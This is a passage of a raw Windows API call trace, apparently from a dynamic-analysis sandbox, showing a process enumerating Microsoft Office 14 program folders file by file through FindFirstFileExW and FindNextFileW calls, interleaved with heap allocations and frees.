ftLastAccessTime.dwLowDateTime=0xf79ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPTR.FAE", cAlternateFileName="")) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1332250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNLR.FAE", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAILR.FAE", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x25b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTER.FAE", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLR.SAM", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASKR.FAE", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x31a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97R.SAM", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PABR.SAM", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 0 [0069.754] GetLastError () returned 0x12 [0069.754] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.754] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMR.FAE", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCALDV.DLL", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCR.SAM", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADDR.FAE", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf79ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPTR.FAE", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1332250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNLR.FAE", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAILR.FAE", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x25b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTER.FAE", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLR.SAM", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASKR.FAE", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x31a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97R.SAM", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PABR.SAM", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 0 [0069.754] GetLastError () returned 0x12 [0069.754] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.754] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.755] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.755] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0069.755] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x18568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0069.756] GetLastError () returned 0x12 [0069.756] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.756] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.756] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.756] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="")) returned 1 [0069.756] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, 